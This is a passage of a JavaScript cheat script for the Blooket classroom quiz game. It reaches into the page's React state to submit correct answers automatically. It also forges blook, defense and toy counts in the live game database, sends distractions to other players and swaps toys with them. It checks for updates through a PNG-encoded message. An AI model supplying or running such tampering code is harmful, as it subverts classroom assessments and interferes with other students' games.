run: function () {
2347
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2348
stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]);
2349
}
2350
},
2351
],
2352
rush: [
2353
{
2354
name: "Set Blooks",
2355
description: "Sets amount of blooks you or your team has",
2356
run: function () {
2357
let i = document.createElement('iframe');
2358
document.body.append(i);
2359
window.prompt = i.contentWindow.prompt.bind(window);
2360
i.remove();
2361
let numBlooks = Number(parseInt(prompt("How many blooks do you want?")));
2362
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2363
stateNode.setState({ numBlooks });
2364
stateNode.isTeam ? stateNode.props.liveGameController.setVal({
2365
path: `a/${stateNode.props.client.name}/bs`,
2366
val: numBlooks
2367
}) : stateNode.props.liveGameController.setVal({
2368
path: `c/${stateNode.props.client.name}/bs`,
2369
val: numDefense
2370
});
2371
}
2372
},
2373
{
2374
name: "Set Defense",
2375
description: "Sets amount of defense you or your team has (Max 4)",
2376
run: function () {
2377
let i = document.createElement('iframe');
2378
document.body.append(i);
2379
window.prompt = i.contentWindow.prompt.bind(window);
2380
i.remove();
2381
let numDefense = Math.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))), 4);
2382
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2383
stateNode.setState({ numDefense });
2384
stateNode.isTeam ? stateNode.props.liveGameController.setVal({
2385
path: `a/${stateNode.props.client.name}/d`,
2386
val: numDefense
2387
}) : stateNode.props.liveGameController.setVal({
2388
path: `c/${stateNode.props.client.name}/d`,
2389
val: numDefense
2390
});
2391
}
2392
}
2393
],
2394
workshop: [
2395
{
2396
name: "Remove Distractions",
2397
description: "Removes all enemy distractions",
2398
run: function () {
2399
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ fog: !1, dusk: !1, wind: !1, plow: !1, blizzard: !1, force: !1, canada: !1, trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1] });
2400
}
2401
},
2402
{
2403
name: "Send Distraction",
2404
description: "Sends a distraction to everyone else playing",
2405
run: function () {
2406
let i = document.createElement('iframe');
2407
document.body.append(i);
2408
window.alert = i.contentWindow.alert.bind(window);
2409
i.remove();
2410
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2411
let distractions = { c: "Oh Canada", b: "Blizzard", f: "Fog Spell", d: "Dark & Dusk", w: "Howling Wind", g: "Gift Time!", t: "TREES", s: "Snow Plow", fr: "Use The Force" };
2412
let val = Object.keys(distractions)[Math.floor(Math.random() * Object.keys(distractions).length)];
2413
stateNode.safe = true;
2414
stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val });
2415
alert(`Sent a ${distractions[val]} distraction`);
2416
}
2417
},
2418
{
2419
name: "Set Toys",
2420
description: "Sets amount of toys",
2421
run: function () {
2422
let i = document.createElement('iframe');
2423
document.body.append(i);
2424
window.prompt = i.contentWindow.prompt.bind(window);
2425
i.remove();
2426
let toys = parseInt(prompt("How many toys would you like?"));
2427
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2428
stateNode.setState({ toys });
2429
stateNode.props.liveGameController.setVal({
2430
path: "c/".concat(stateNode.props.client.name),
2431
val: {
2432
b: stateNode.props.client.blook,
2433
t: toys
2434
}
2435
});
2436
}
2437
},
2438
{
2439
name: "Set Toys Per Question",
2440
description: "Sets amount of toys per question",
2441
run: function () {
2442
let i = document.createElement('iframe');
2443
document.body.append(i);
2444
window.prompt = i.contentWindow.prompt.bind(window);
2445
i.remove();
2446
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ toysPerQ: parseInt(prompt("How many toys per question would you like?")) });
2447
}
2448
},
2449
{
2450
name: "Swap Toys",
2451
description: "Swaps toys with someone",
2452
run: function () {
2453
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2454
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
2455
stateNode.setState({
2456
choosingPlayer: false,
2457
players: (players ? Object.entries(players).map(([name, { b, t }]) => ({ name, blook: b, toys: t || 0 })).filter((e) => e.name != stateNode.props.client.name).sort(({ toys }, { toys: toys2 }) => toys2 - toys) : []),
2458
phaseTwo: true,
2459
stage: "prize",
2460
choiceObj: { type: "swap" }
2461
}, () => setTimeout(() => stateNode.setState({ choosingPlayer: true }), 300));
2462
});
2463
}
2464
}
2465
]
2466
})// .map(x => [x[0], x[1].reduce((a, b) => (a[b.name] = b.run, a), {})]).reduce((a, [b, c]) => (a[b] = c, a), {});
2467
2468
let global = document.createElement('details');
2469
global.innerHTML = (`<summary style="padding: 10px; font-size: 1.5em; font-weight: bolder">Global</summary>`);
2470
for (let script of cheats.global) {
2471
let cheat = createButton(script.name);
2472
cheat.style.backgroundColor = script.type == "toggle" ? script.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)";
2473
cheat.onclick = () => {
2474
try {
2475
script.run();
2476
} finally {
2477
cheat.style.backgroundColor = script.type == "toggle" ? script.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)";
2478
}
2479
};
2480
global.appendChild(cheat);
2481
}
2482
global.open = false;
2483
global.style.paddingBottom = '10px';
2484
body.appendChild(global);
2485
2486
let cheatDiv = document.createElement('div');
2487
body.appendChild(cheatDiv);
2488
2489
console.log(cheats);
2490
const setCheats = (curPage) => {
2491
if (!curPage || !cheats[curPage]) return;
2492
for (let cheat of cheats[curPage]) {
2493
let button = createButton(cheat.name);
2494
button.style.backgroundColor = cheat.type == "toggle" ? cheat.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)";
2495
button.onclick = () => {
2496
try {
2497
cheat.run();
2498
} finally {
2499
button.style.backgroundColor = cheat.type == "toggle" ? cheat.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)";
2500
}
2501
};
2502
cheatDiv.appendChild(button);
2503
cheatDiv.appendChild(document.createElement('br'));
2504
}
2505
}
2506
setTimeout(() => setCheats(getSite()), 50);
2507
var offLocationChange = onLocationChange(pathname => {
2508
let curPage = getSite();
2509
curPageEl.innerText = getSite(true) ? `Current gamemode: ${getSite(true)}` : 'No game detected';
2510
cheatDiv.innerHTML = "";
2511
setCheats(curPage);
2512
});
2513
2514
function onLocationChange(handler) {
2515
let current = window.location.pathname;
2516
const interval = setInterval(() => {
2517
if (window.location.pathname == current) return;
2518
current = window.location.pathname;
2519
handler(current);
2520
}, 50);
2521
return () => clearInterval(interval);
2522
}
2523
2524
function createButton(cheat) {
2525
let button = document.createElement('button');
2526
button.classList.add('cheat');
2527
button.innerText = cheat;
2528
return button
2529
}
2530
function getSite(capitalize) {
2531
switch (window.location.pathname) {
2532
case "/play/racing":
2533
return capitalize ? "Racing" : "racing";
2534
case "/play/pirate":
2535
return capitalize ? "Pirate's Voyage" : "voyage";
2536
case "/play/factory":
2537
return capitalize ? "Factory" : "factory";
2538
case "/play/classic/get-ready":
2539
case "/play/classic/question":
2540
case "/play/classic/answer/sent":
2541
case "/play/classic/answer/result":
2542
case "/play/classic/standings":
2543
return capitalize ? "Classic" : "classic";
2544
case "/play/battle-royale/match/preview":
2545
case "/play/battle-royale/question":
2546
case "/play/battle-royale/answer/sent":
2547
case "/play/battle-royale/answer/result":
2548
case "/play/battle-royale/match/result":
2549
return capitalize ? "Battle Royale" : "royale";
2550
case "/play/toy":
2551
return capitalize ? "Santa's Workshop" : "workshop";
2552
case "/play/gold":
2553
return capitalize ? "Gold Quest" : "gold";
2554
case "/play/brawl":
2555
return capitalize ? "Monster Brawl" : "brawl";
2556
case "/play/hack":
2557
return capitalize ? "Crypto Hack" : "hack";
2558
case "/play/fishing":
2559
return capitalize ? "Fishing Frenzy" : "fishing";
2560
case "/play/rush":
2561
return capitalize ? "Blook Rush" : "rush";
2562
case "/play/dino":
2563
return capitalize ? "Deceptive Dinos" : "dinos";
2564
case "/tower/map":
2565
case "/tower/battle":
2566
case "/tower/rest":
2567
case "/tower/risk":
2568
case "/tower/shop":
2569
case "/tower/victory":
2570
return capitalize ? "Tower of Doom" : "doom";
2571
case "/cafe":
2572
case "/cafe/shop":
2573
return capitalize ? "Cafe" : "cafe";
2574
case "/defense":
2575
return capitalize ? "Tower Defense" : "defense";
2576
case "/play/defense2":
2577
return capitalize ? "Tower Defense 2" : "defense2";
2578
case "/kingdom":
2579
return capitalize ? "Crazy Kingdom" : "kingdom";
2580
default:
2581
return false;
2582
}
2583
};
2584
function toggleHidden(e) {
2585
e.code == 'KeyE' && (GUI.hidden = !GUI.hidden)
2586
};
2587
addEventListener('keypress', toggleHidden);
2588
});
2589
let img = new Image;
2590
img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/mobileGui.png?" + Date.now();
2591
img.crossOrigin = "Anonymous";
2592
img.onload = function() {
2593
const c = document.createElement("canvas");
2594
const ctx = c.getContext("2d");
2595
ctx.drawImage(img, 0, 0, this.width, this.height);
2596
let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last;
2597
for (let i = 0; i < data.length; i += 4) {
2598
let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]);
2599
decode += char;
2600
if (char == "/" && last == "*") break;
2601
last = char;
2602
}
2603
let iframe = document.querySelector("iframe");
2604
const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/);
2605
if (parseInt(time) <= 1696542129460 || iframe.contentWindow.confirm(error)) cheat();
2606
}
2607
img.onerror = img.onabort = () => (img.src = null, cheat());
2608
})();
2609